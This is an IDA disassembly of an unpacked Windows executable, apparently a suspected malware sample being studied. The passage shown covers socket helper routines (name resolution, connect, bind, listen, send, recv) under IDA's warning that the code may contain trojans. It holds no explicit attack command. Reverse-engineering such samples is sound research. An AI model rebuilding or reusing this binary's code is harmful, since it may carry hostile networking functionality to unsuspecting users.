; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 919EC8D2405C6A467C8847CC0277A31E unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure data HEADER segment page public 'DATA' use32 assume cs:HEADER ;org 400000h __ImageBase dd 5A4Dh, 2 dup(0) ; DATA XREF: sub_404B5Ar ; sub_404B5A+10r ... dd 4550h, 3014Ch, 21475346h, 2 dup(0) dd 10300E0h, 10Bh, 0B600h, 6000h, 0 dd 154h, 1000h, 0Ch, 400000h, 1000h, 200h, 4, 0 ; DATA XREF: sub_404B5A+Br dd 5, 0 dd 1E200h, 200h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 1E000h, 84h, 1Eh dup(0) dd 14000h, 1000h, 14000h, 1000h, 3 dup(0) dd 0C00000E0h, 2 dup(0) dd 9000h, 15000h, 9000h, 15000h, 3 dup(0) dd 0C00000E0h ; --------------------------------------------------------------------------- ; ; The code at 400000..401000 is hidden from normal disassembly ; and was loaded because the user ordered to load it explicitly ; ; <<<< IT MAY CONTAIN TROJAN HORSES, VIRUSES, AND DO HARMFUL THINGS >>> ; ; public start start: imul esp, cs:[ecx+74h], 3261h adc [eax], al ; --------------------------------------------------------------------------- db 0 dword_400160 dd 1E000h, 200h, 1E000h, 1F7313FFh, 0B04180B6h, 1213FF10h dd 0C0000040h, 0E0EBAA3Ah, 20853FFh, 1D983F6h, 53FF0E75h dd 0AC24EB04h, 2D74E8D1h, 18EBC913h, 0E0C14891h, 53FFAC08h dd 0F8433B04h, 0FC800A73h, 83067305h, 2777FF8h, 8B954141h dd 5600B6C5h, 0F02BF78Bh, 0EB5EA4F3h, 97AD5E9Fh, 53FF50ADh dd 78B9510h, 75F37840h, 0C63FF03h, 53FF5550h, 0EEEBAB14h dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 575D202h, 1246168Ah dd 454BC3D2h, 4C454E52h, 642E3233h, 6C6Ch align 1000h HEADER ends ; File Name : u:\work\919ec8d2405c6a467c8847cc0277a31e_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00014000 ( 81920.) ; Section size in file : 00014000 ( 81920.) ; Offset to raw data for section: 00001000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write seg001 segment para public 'BSS' use32 assume cs:seg001 ;org 401000h assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing loc_401000: ; DATA XREF: seg002:0041CFA8o mov eax, [esp+4] test eax, eax jnz short loc_40100E mov eax, offset aInvalidInstanc ; "Invalid instance or socket" retn ; --------------------------------------------------------------------------- loc_40100E: ; CODE XREF: seg001:00401006j mov eax, [eax+0Ch] cmp eax, 6 ; switch 7 cases ja short loc_401047 ; default jmp off_401050[eax*4] ; switch jump loc_40101D: ; DATA XREF: seg001:off_401050o mov eax, offset aOperationSucce ; jumptable 00401016 case 0 retn ; --------------------------------------------------------------------------- loc_401023: ; CODE XREF: seg001:00401016j ; DATA XREF: seg001:off_401050o mov eax, offset aUnableToResolv ; jumptable 00401016 case 1 retn ; --------------------------------------------------------------------------- loc_401029: ; CODE XREF: seg001:00401016j ; DATA XREF: seg001:off_401050o mov eax, offset aUnableToConnec ; jumptable 00401016 case 2 retn ; --------------------------------------------------------------------------- loc_40102F: ; CODE XREF: seg001:00401016j ; DATA XREF: seg001:off_401050o mov eax, offset aUnableToCreate ; jumptable 00401016 case 3 retn ; --------------------------------------------------------------------------- loc_401035: ; CODE XREF: seg001:00401016j ; DATA XREF: seg001:off_401050o mov eax, offset aUnableToBindSo ; jumptable 00401016 case 4 retn ; --------------------------------------------------------------------------- loc_40103B: ; CODE XREF: seg001:00401016j ; DATA XREF: seg001:off_401050o mov eax, offset aPortIsInUse ; jumptable 00401016 case 5 retn ; --------------------------------------------------------------------------- loc_401041: ; CODE XREF: seg001:00401016j ; DATA XREF: seg001:off_401050o mov eax, offset aOperationPendi ; jumptable 00401016 case 6 retn ; --------------------------------------------------------------------------- loc_401047: ; CODE XREF: seg001:00401014j mov eax, offset aUnknown ; default retn ; --------------------------------------------------------------------------- align 10h off_401050 dd offset loc_40101D ; DATA XREF: seg001:00401016r dd offset loc_401023 ; jump table for switch statement dd offset loc_401029 dd offset loc_40102F dd offset loc_401035 dd offset loc_40103B dd offset loc_401041 align 10h push ecx push edi mov edi, [esp+0Ch] push edi call sub_403A06 ; inet_addr test eax, eax jz short loc_401094 push edi call sub_403A06 ; inet_addr cmp eax, 0FFFFFFFFh jz short loc_401094 push edi call sub_403A06 ; inet_addr pop edi pop ecx retn ; --------------------------------------------------------------------------- loc_401094: ; CODE XREF: seg001:0040107Ej ; seg001:00401089j push esi mov esi, dword_4113C8 test esi, esi jz short loc_4010D8 nop loc_4010A0: ; CODE XREF: seg001:004010D6j mov ecx, [esi] test ecx, ecx jz short loc_4010D1 mov eax, edi loc_4010A8: ; CODE XREF: seg001:004010C2j mov dl, [eax] cmp dl, [ecx] jnz short loc_4010C8 test dl, dl jz short loc_4010C4 mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_4010C8 add eax, 2 add ecx, 2 test dl, dl jnz short loc_4010A8 loc_4010C4: ; CODE XREF: seg001:004010B0j xor eax, eax jmp short loc_4010CD ; --------------------------------------------------------------------------- loc_4010C8: ; CODE XREF: seg001:004010ACj ; seg001:004010B8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_4010CD: ; CODE XREF: seg001:004010C6j test eax, eax jz short loc_4010E6 loc_4010D1: ; CODE XREF: seg001:004010A4j mov esi, [esi+8] test esi, esi jnz short loc_4010A0 loc_4010D8: ; CODE XREF: seg001:0040109Dj push edi call sub_403A00 ; gethostbyname test eax, eax jnz short loc_4010ED pop esi pop edi pop ecx retn ; --------------------------------------------------------------------------- loc_4010E6: ; CODE XREF: seg001:004010CFj mov eax, [esi+4] pop esi pop edi pop ecx retn ; --------------------------------------------------------------------------- loc_4010ED: ; CODE XREF: seg001:004010E0j movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, [edx] push ecx push eax lea ecx, [esp+10h] push ecx call sub_403BE0 push 0Ch call sub_403B17 push edi mov esi, eax call sub_403A78 mov [esi], eax mov eax, [esp+1Ch] mov [esi+4], eax mov edx, dword_4113C8 add esp, 14h mov [esi+8], edx mov dword_4113C8, esi pop esi pop edi pop ecx retn ; --------------------------------------------------------------------------- sub esp, 320h push esi push edi mov edi, [esp+32Ch] xor esi, esi cmp edi, esi jnz short loc_401151 pop edi lea eax, [esi+7] pop esi add esp, 320h retn ; --------------------------------------------------------------------------- loc_401151: ; CODE XREF: seg001:00401143j push ebp mov ebp, [esp+334h] xor eax, eax cmp ebp, esi jbe short loc_40116D nop loc_401160: ; CODE XREF: seg001:0040116Bj mov ecx, [edi+eax*4] add eax, 1 cmp eax, ebp mov [ecx+10h], esi jb short loc_401160 loc_40116D: ; CODE XREF: seg001:0040115Dj mov eax, [esp+33Ch] cmp eax, esi jle short loc_40118A lea edx, [esp+18h] mov [esp+18h], eax mov [esp+1Ch], esi mov [esp+14h], edx jmp short loc_40118E ; --------------------------------------------------------------------------- loc_40118A: ; CODE XREF: seg001:00401176j mov [esp+14h], esi loc_40118E: ; CODE XREF: seg001:00401188j mov dl, [esp+338h] mov al, dl and al, 1 push ebx mov [esp+12h], al jz short loc_4011DB xor ecx, ecx xor eax, eax cmp ebp, esi mov [esp+24h], ecx jbe short loc_4011D1 lea esp, [esp+0] loc_4011B0: ; CODE XREF: seg001:004011CFj cmp ecx, 40h jnb short loc_4011CA mov ebx, [edi+eax*4] mov ebx, [ebx+8] mov [esp+ecx*4+28h], ebx mov ecx, [esp+24h] add ecx, 1 mov [esp+24h], ecx loc_4011CA: ; CODE XREF: seg001:004011B3j add eax, 1 cmp eax, ebp jb short loc_4011B0 loc_4011D1: ; CODE XREF: seg001:004011AAj lea eax, [esp+24h] mov [esp+14h], eax jmp short loc_4011DF ; --------------------------------------------------------------------------- loc_4011DB: ; CODE XREF: seg001:0040119Ej mov [esp+14h], esi loc_4011DF: ; CODE XREF: seg001:004011D9j mov al, dl and al, 2 mov [esp+11h], al jz short loc_40122B xor ecx, ecx xor eax, eax cmp ebp, esi mov [esp+128h], ecx jbe short loc_401222 loc_4011F8: ; CODE XREF: seg001:00401220j cmp ecx, 40h jnb short loc_40121B mov ebx, [edi+eax*4] mov ebx, [ebx+8] mov [esp+ecx*4+12Ch], ebx mov ecx, [esp+128h] add ecx, 1 mov [esp+128h], ecx loc_40121B: ; CODE XREF: seg001:004011FBj add eax, 1 cmp eax, ebp jb short loc_4011F8 loc_401222: ; CODE XREF: seg001:004011F6j lea ebx, [esp+128h] jmp short loc_40122D ; --------------------------------------------------------------------------- loc_40122B: ; CODE XREF: seg001:004011E7j xor ebx, ebx loc_40122D: ; CODE XREF: seg001:00401229j mov al, dl and al, 4 mov [esp+13h], al jz short loc_401277 xor ecx, ecx xor eax, eax cmp ebp, esi mov [esp+22Ch], ecx jbe short loc_401270 loc_401246: ; CODE XREF: seg001:0040126Ej cmp ecx, 40h jnb short loc_401269 mov edx, [edi+eax*4] mov edx, [edx+8] mov [esp+ecx*4+230h], edx mov ecx, [esp+22Ch] add ecx, 1 mov [esp+22Ch], ecx loc_401269: ; CODE XREF: seg001:00401249j add eax, 1 cmp eax, ebp jb short loc_401246 loc_401270: ; CODE XREF: seg001:00401244j lea esi, [esp+22Ch] loc_401277: ; CODE XREF: seg001:00401235j xor eax, eax xor ecx, ecx test ebp, ebp jbe short loc_401293 nop loc_401280: ; CODE XREF: seg001:00401291j mov edx, [edi+eax*4] mov edx, [edx+8] cmp edx, ecx jle short loc_40128C mov ecx, edx loc_40128C: ; CODE XREF: seg001:00401288j add eax, 1 cmp eax, ebp jb short loc_401280 loc_401293: ; CODE XREF: seg001:0040127Dj mov eax, [esp+18h] mov edx, [esp+14h] push eax push esi push ebx push edx add ecx, 1 push ecx call sub_403A12 ; select xor ebx, ebx cmp eax, ebx jnz short loc_4012D8 xor ecx, ecx cmp ebp, ebx lea eax, [ebx+6] jbe loc_40137F jmp short loc_4012C0 ; --------------------------------------------------------------------------- align 10h loc_4012C0: ; CODE XREF: seg001:004012BBj ; seg001:004012CBj mov edx, [edi+ecx*4] add ecx, 1 cmp ecx, ebp mov [edx+0Ch], eax jb short loc_4012C0 pop ebx pop ebp pop edi pop esi add esp, 320h retn ; --------------------------------------------------------------------------- loc_4012D8: ; CODE XREF: seg001:004012ACj cmp eax, 0FFFFFFFFh jnz short loc_4012ED pop ebx pop ebp pop edi mov eax, 8 pop esi add esp, 320h retn ; --------------------------------------------------------------------------- loc_4012ED: ; CODE XREF: seg001:004012DBj xor esi, esi cmp ebp, ebx jbe short loc_401369 loc_4012F3: ; CODE XREF: seg001:00401367j cmp byte ptr [esp+12h], 0 jz short loc_401316 mov ecx, [edi+esi*4] mov edx, [ecx+8] lea eax, [esp+24h] push eax push edx call sub_403A0C ; __WSAFDIsSet test eax, eax jz short loc_401316 mov eax, [edi+esi*4] add dword ptr [eax+10h], 1 loc_401316: ; CODE XREF: seg001:004012F8j ; seg001:0040130Dj cmp byte ptr [esp+11h], 0 jz short loc_40133C mov ecx, [edi+esi*4] mov edx, [ecx+8] lea eax, [esp+128h] push eax push edx call sub_403A0C ; __WSAFDIsSet test eax, eax jz short loc_40133C mov eax, [edi+esi*4] add dword ptr [eax+10h], 2 loc_40133C: ; CODE XREF: seg001:0040131Bj ; seg001:00401333j cmp byte ptr [esp+13h], 0 jz short loc_401362 mov ecx, [edi+esi*4] mov edx, [ecx+8] lea eax, [esp+22Ch] push eax push edx call sub_403A0C ; __WSAFDIsSet test eax, eax jz short loc_401362 mov eax, [edi+esi*4] add dword ptr [eax+10h], 4 loc_401362: ; CODE XREF: seg001:00401341j ; seg001:00401359j add esi, 1 cmp esi, ebp jb short loc_4012F3 loc_401369: ; CODE XREF: seg001:004012F1j xor eax, eax cmp ebp, ebx jbe short loc_40137D nop loc_401370: ; CODE XREF: seg001:0040137Bj mov ecx, [edi+eax*4] add eax, 1 cmp eax, ebp mov [ecx+0Ch], ebx jb short loc_401370 loc_40137D: ; CODE XREF: seg001:0040136Dj xor eax, eax loc_40137F: ; CODE XREF: seg001:004012B5j pop ebx pop ebp pop edi pop esi add esp, 320h retn ; --------------------------------------------------------------------------- align 10h sub esp, 18h mov eax, dword_410440 xor eax, esp mov [esp+14h], eax push esi mov esi, [esp+20h] test esi, esi mov dword ptr [esp+4], 1 jnz short loc_4013C2 lea eax, [esi+7] pop esi mov ecx, [esp+14h] xor ecx, esp call sub_403F45 add esp, 18h retn ; --------------------------------------------------------------------------- loc_4013C2: ; CODE XREF: seg001:004013ADj cmp dword ptr [esi+8], 0 jnz short loc_4013E0 mov eax, 7 mov [esi+0Ch], eax pop esi mov ecx, [esp+14h] xor ecx, esp call sub_403F45 add esp, 18h retn ; --------------------------------------------------------------------------- loc_4013E0: ; CODE XREF: seg001:004013C6j mov ecx, [esp+28h] mov eax, [esp+24h] push ecx mov dword ptr [esi+10h], 0 mov word ptr [esp+0Ch], 2 mov [esp+10h], eax call sub_403A24 ; htons push 4 lea edx, [esp+8] push edx push 4 mov [esp+16h], ax mov eax, [esi+8] push 0FFFFh push eax call sub_403A1E ; setsockopt mov edx, [esi+8] push 10h lea ecx, [esp+0Ch] push ecx push edx mov dword ptr [esp+10h], 1 call sub_403A18 ; bind test eax, eax jge short loc_401454 mov dword ptr [esi+0Ch], 4 mov eax, 4 pop esi mov ecx, [esp+14h] xor ecx, esp call sub_403F45 add esp, 18h retn ; --------------------------------------------------------------------------- loc_401454: ; CODE XREF: seg001:00401436j mov ecx, [esp+18h] mov dword ptr [esi+0Ch], 0 pop esi xor ecx, esp xor eax, eax call sub_403F45 add esp, 18h retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401470 proc near ; CODE XREF: sub_402040+BBAp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_40147E lea eax, [esi+7] pop esi retn ; --------------------------------------------------------------------------- loc_40147E: ; CODE XREF: sub_401470+7j mov dword ptr [esi+10h], 0 call sub_403F8F mov dword ptr [eax], 0 mov ecx, [esi+8] push 10h lea eax, [esi+28h] push eax push ecx call sub_403A30 ; connect test eax, eax jz short loc_4014DB call sub_403A2A ; WSAGetLastError cmp eax, 2748h jz short loc_4014DB call sub_403A2A ; WSAGetLastError cmp eax, 2735h jz short loc_4014D1 call sub_403A2A ; WSAGetLastError cmp eax, 2733h jz short loc_4014D1 mov eax, 2 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_4014D1: ; CODE XREF: sub_401470+49j ; sub_401470+55j mov eax, 6 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_4014DB: ; CODE XREF: sub_401470+31j ; sub_401470+3Dj mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn sub_401470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4014F0 proc near ; CODE XREF: sub_402040+56Bp ; sub_402040+7FEp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx push esi mov esi, [esp+8+arg_0] test esi, esi mov [esp+8+var_4], 1 jnz short loc_401508 lea eax, [esi+7] pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401508: ; CODE XREF: sub_4014F0+10j push 6 push 1 push 2 mov dword ptr [esi+10h], 0 mov dword ptr [esi+24h], 0 call sub_403A3C ; socket test eax, eax mov [esi+8], eax jge short loc_401533 mov eax, 3 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401533: ; CODE XREF: sub_4014F0+36j push edi mov edi, [esp+0Ch+arg_4] push edi call sub_403A06 ; inet_addr test eax, eax jz short loc_401558 push edi call sub_403A06 ; inet_addr cmp eax, 0FFFFFFFFh jz short loc_401558 push edi call sub_403A06 ; inet_addr mov [esi+2Ch], eax jmp short loc_401589 ; --------------------------------------------------------------------------- loc_401558: ; CODE XREF: sub_4014F0+50j ; sub_4014F0+5Bj push edi call sub_403A00 ; gethostbyname test eax, eax jnz short loc_401572 pop edi mov dword ptr [esi+0Ch], 1 mov eax, 1 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401572: ; CODE XREF: sub_4014F0+70j movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, [edx] push ecx push eax lea ecx, [esi+2Ch] push ecx call sub_403BE0 add esp, 0Ch loc_401589: ; CODE XREF: sub_4014F0+66j mov edx, [esp+0Ch+arg_8] push edx mov word ptr [esi+28h], 2 call sub_403A24 ; htons mov ecx, [esi+8] mov [esi+2Ah], ax lea eax, [esp+0Ch+var_4] push eax push 8004667Eh push ecx call sub_403A36 ; ioctlsocket pop edi mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi pop ecx retn sub_4014F0 endp ; --------------------------------------------------------------------------- align 10h push ecx push ebx push esi mov esi, [esp+10h] test esi, esi mov ebx, 1 mov [esp+8], ebx jnz short loc_4015DB pop esi lea eax, [ebx+6] pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: seg001:004015D2j push 6 push ebx push 2 mov dword ptr [esi+10h], 0 call sub_403A3C ; socket test eax, eax mov [esi+8], eax jge short loc_4015FF mov eax, 3 mov [esi+0Ch], eax pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4015FF: ; CODE XREF: seg001:004015F1j push edi mov edi, [esp+18h] push edi call sub_403A06 ; inet_addr test eax, eax jz short loc_401624 push edi call sub_403A06 ; inet_addr cmp eax, 0FFFFFFFFh jz short loc_401624 push edi call sub_403A06 ; inet_addr mov [esi+2Ch], eax jmp short loc_40164F ; --------------------------------------------------------------------------- loc_401624: ; CODE XREF: seg001:0040160Cj ; seg001:00401617j push edi call sub_403A00 ; gethostbyname test eax, eax jnz short loc_401638 pop edi mov [esi+0Ch], ebx pop esi mov eax, ebx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_401638: ; CODE XREF: seg001:0040162Cj movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, [edx] push ecx push eax lea ecx, [esi+2Ch] push ecx call sub_403BE0 add esp, 0Ch loc_40164F: ; CODE XREF: seg001:00401622j mov edx, [esp+1Ch] push ebp lea ebx, [esi+28h] push edx mov word ptr [ebx], 2 call sub_403A24 ; htons mov ecx, [esi+8] mov [esi+2Ah], ax lea eax, [esp+10h] push eax push 8004667Eh push ecx call sub_403A36 ; ioctlsocket push 0 call sub_4067A5 push 0 mov edi, eax call sub_4067A5 sub eax, edi add esp, 8 cmp eax, 0Ah jnb short loc_4016EC mov ebp, dword_40D0EC lea esp, [esp+0] loc_4016A0: ; CODE XREF: seg001:004016EAj mov edx, [esi+8] push 10h push ebx push edx call sub_403A30 ; connect test eax, eax jz short loc_4016FA call sub_403A2A ; WSAGetLastError cmp eax, 2748h jz short loc_4016FA call sub_403A2A ; WSAGetLastError cmp eax, 2735h jz short loc_4016D4 call sub_403A2A ; WSAGetLastError cmp eax, 2733h jnz short loc_4016EC loc_4016D4: ; CODE XREF: seg001:004016C6j push 3E8h call ebp ; Sleep push 0 call sub_4067A5 sub eax, edi add esp, 4 cmp eax, 0Ah jb short loc_4016A0 loc_4016EC: ; CODE XREF: seg001:00401691j ; seg001:004016D2j pop ebp mov eax, 2 pop edi mov [esi+0Ch], eax pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: seg001:004016AEj ; seg001:004016BAj pop ebp pop edi mov dword ptr [esi+0Ch], 0 pop esi xor eax, eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401710 proc near ; CODE XREF: sub_402040+C3p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi mov esi, [esp+8+arg_0] test esi, esi mov [esp+8+var_4], 1 jnz short loc_401728 lea eax, [esi+7] pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401728: ; CODE XREF: sub_401710+10j push 6 push 1 push 2 mov dword ptr [esi+10h], 0 call sub_403A3C ; socket test eax, eax mov [esi+8], eax jge short loc_40174C mov eax, 3 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40174C: ; CODE XREF: sub_401710+2Fj mov eax, [esp+8+arg_4] push edi lea edi, [esi+28h] push eax mov word ptr [edi], 2 mov dword ptr [esi+2Ch], 0 call sub_403A24 ; htons mov ecx, [esi+8] push 10h push edi push ecx mov [esi+2Ah], ax call sub_403A18 ; bind test eax, eax pop edi jge short loc_401786 mov eax, 4 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401786: ; CODE XREF: sub_401710+69j mov edx, [esi+8] push 32h push edx call sub_403A42 ; listen test eax, eax jge short loc_4017A0 mov eax, 5 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_4017A0: ; CODE XREF: sub_401710+83j mov ecx, [esi+8] lea eax, [esp+8+var_4] push eax push 8004667Eh push ecx call sub_403A36 ; ioctlsocket mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi pop ecx retn sub_401710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4017C0 proc near ; CODE XREF: sub_402040+1FFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push ebp jz short loc_401834 mov ebp, [esp+8+arg_4] test ebp, ebp jz short loc_401834 push esi push edi mov dword ptr [ebx+10h], 0 mov ecx, 0Fh mov esi, ebx mov edi, ebp rep movsd mov edx, [ebx+8] lea eax, [esp+10h+arg_0] push eax lea ecx, [ebp+28h] push ecx push edx mov [esp+1Ch+arg_0], 10h call sub_403A48 ; accept test eax, eax pop edi pop esi jge short loc_40181E push 3Ch push 0 push ebp call sub_403FE0 add esp, 0Ch mov eax, 6 pop ebp mov [ebx+0Ch], eax pop ebx retn ; --------------------------------------------------------------------------- loc_40181E: ; CODE XREF: sub_4017C0+44j mov [ebp+8], eax mov eax, [esp+8+arg_0] mov [ebx+10h], eax pop ebp mov dword ptr [ebx+0Ch], 0 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_401834: ; CODE XREF: sub_4017C0+8j ; sub_4017C0+10j pop ebp mov eax, 7 pop ebx retn sub_4017C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401840 proc near ; CODE XREF: sub_401960+79p ; sub_402040+2F9p ... var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 110h push ebp push esi mov esi, [esp+118h+arg_0] xor ebp, ebp cmp esi, ebp jnz short loc_401861 pop esi lea eax, [ebp+7] pop ebp add esp, 110h retn ; --------------------------------------------------------------------------- loc_401861: ; CODE XREF: sub_401840+13j mov eax, [esi+24h] push ebx push edi mov edi, [esp+120h+arg_8] add eax, edi push eax call sub_403B17 mov ebx, eax add esp, 4 cmp ebx, ebp jz loc_40192F mov ecx, [esp+120h+arg_4] mov edx, [esi+24h] push edi push ecx add edx, ebx push edx call sub_403BE0 mov eax, [esi+1Ch] add esp, 0Ch cmp eax, ebp jz short loc_4018C4 mov ecx, [esi+24h] push ecx push eax push ebx call sub_403BE0 mov eax, [esi+1Ch] add esp, 0Ch cmp eax, ebp jz short loc_4018C1 push eax call sub_40405A add esp, 4 mov [esi+1Ch], ebp loc_4018C1: ; CODE XREF: sub_401840+73j mov [esi+1Ch], ebp loc_4018C4: ; CODE XREF: sub_401840+5Ej mov eax, [esi+8] add edi, [esi+24h] xor ecx, ecx lea edx, [esp+120h+var_110] push edx mov [esp+124h+var_110], ecx mov [esp+124h+var_10C], ecx push ebp lea ecx, [esp+128h+var_104] push ecx mov [esp+12Ch+var_100], eax push ebp add eax, 1 push eax mov [esi+24h], ebp mov [esp+134h+var_104], 1 mov [esp+134h+var_110], ebp mov [esp+134h+var_10C], ebp call sub_403A12 ; select test eax, eax jle short loc_40193A mov [esi+10h], ebp call sub_403F8F push ebp push edi mov [eax], ebp mov edx, [esi+8] push ebx push edx call sub_403A4E ; send cmp eax, edi jb short loc_40193C push ebx mov [esi+10h], eax mov [esi+0Ch], ebp call sub_40405A add esp, 4 xor eax, eax loc_40192F: ; CODE XREF: sub_401840+3Cj pop edi pop ebx pop esi pop ebp add esp, 110h retn ; --------------------------------------------------------------------------- loc_40193A: ; CODE XREF: sub_401840+C2j mov eax, ebp loc_40193C: ; CODE XREF: sub_401840+DCj mov [esi+24h], edi pop edi mov [esi+10h], eax mov [esi+1Ch], ebx mov eax, 6 pop ebx mov [esi+0Ch], eax pop esi pop ebp add esp, 110h retn sub_401840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401960 proc near ; CODE XREF: sub_402040+C3Ep ; sub_402040+CF7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi push edi mov esi, 0BBBh loc_401967: ; CODE XREF: sub_401960+5Aj mov eax, dword_4113C0 test eax, eax jz short loc_401979 push eax call sub_40405A add esp, 4 loc_401979: ; CODE XREF: sub_401960+Ej lea eax, [esi+1] push eax call sub_403B17 mov edi, eax add esp, 4 test edi, edi mov dword_4113C0, edi jz short loc_401A04 push esi push 0 push edi call sub_403FE0 mov edx, [esp+14h+arg_4] lea ecx, [esp+14h+arg_8] push ecx push edx lea eax, [esi-2] push eax push edi call sub_404199 add esp, 1Ch add esi, 3E8h cmp eax, 0FFFFFFFFh jz short loc_401967 mov edx, dword_4113C0 mov eax, edx lea esi, [eax+1] loc_4019C7: ; CODE XREF: sub_401960+6Ej mov cl, [eax] add eax, 1 test cl, cl jnz short loc_4019C7 mov ecx, [esp+8+arg_0] sub eax, esi push eax push edx push ecx call sub_401840 mov esi, eax mov eax, dword_4113C0 add esp, 0Ch test eax, eax jz short loc_4019FF push eax call sub_40405A add esp, 4 mov dword_4113C0, 0 loc_4019FF: ; CODE XREF: sub_401960+8Aj pop edi mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401960+2Fj pop edi xor eax, eax pop esi retn sub_401960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401A10 proc near ; CODE XREF: sub_402040+338p ; sub_402040+A3Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_401A1E lea eax, [esi+7] pop esi retn ; --------------------------------------------------------------------------- loc_401A1E: ; CODE XREF: sub_401A10+7j mov eax, [esp+4+arg_4] mov ecx, [esi+8] push edi mov edi, [esp+8+arg_8] push 0 push edi push eax push ecx mov dword ptr [esi+10h], 0 call sub_403A54 ; recv test eax, eax jge short loc_401A56 call sub_403A2A ; WSAGetLastError cmp eax, 2734h jnz short loc_401A5C mov eax, 6 pop edi mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401A56: ; CODE XREF: sub_401A10+2Dj jnz short loc_401A67 test edi, edi jz short loc_401A67 loc_401A5C: ; CODE XREF: sub_401A10+39j mov eax, 8 pop edi mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401A67: ; CODE XREF: sub_401A10:loc_401A56j ; sub_401A10+4Aj mov [esi+10h], eax pop edi mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn sub_401A10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401A80 proc near ; CODE XREF: seg001:00401FA8p ; sub_402040+283p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi cmp esi, edi jnz short loc_401A92 lea eax, [edi+7] pop edi pop esi retn ; --------------------------------------------------------------------------- loc_401A92: ; CODE XREF: sub_401A80+Aj mov eax, [esi+8] push eax mov [esi+10h], edi call sub_403A5A ; closesocket test eax, eax jge short loc_401AAD mov eax, 8 pop edi mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401AAD: ; CODE XREF: sub_401A80+20j mov eax, [esi+1Ch] cmp eax, edi mov [esi+8], edi mov [esi+0Ch], edi jz short loc_401AC6 push eax call sub_40405A add esp, 4 mov [esi+1Ch], edi loc_401AC6: ; CODE XREF: sub_401A80+38j mov eax, [esi+20h] cmp eax, edi jz short loc_401AD9 push eax call sub_40405A add esp, 4 mov [esi+20h], edi loc_401AD9: ; CODE XREF: sub_401A80+4Bj push 3Ch push edi push esi call sub_403FE0 add esp, 0Ch pop edi xor eax, eax pop esi retn sub_401A80 endp ; --------------------------------------------------------------------------- align 10h push ecx push esi mov esi, [esp+0Ch] test esi, esi mov dword ptr [esp+4], 1 jnz short loc_401B08 lea eax, 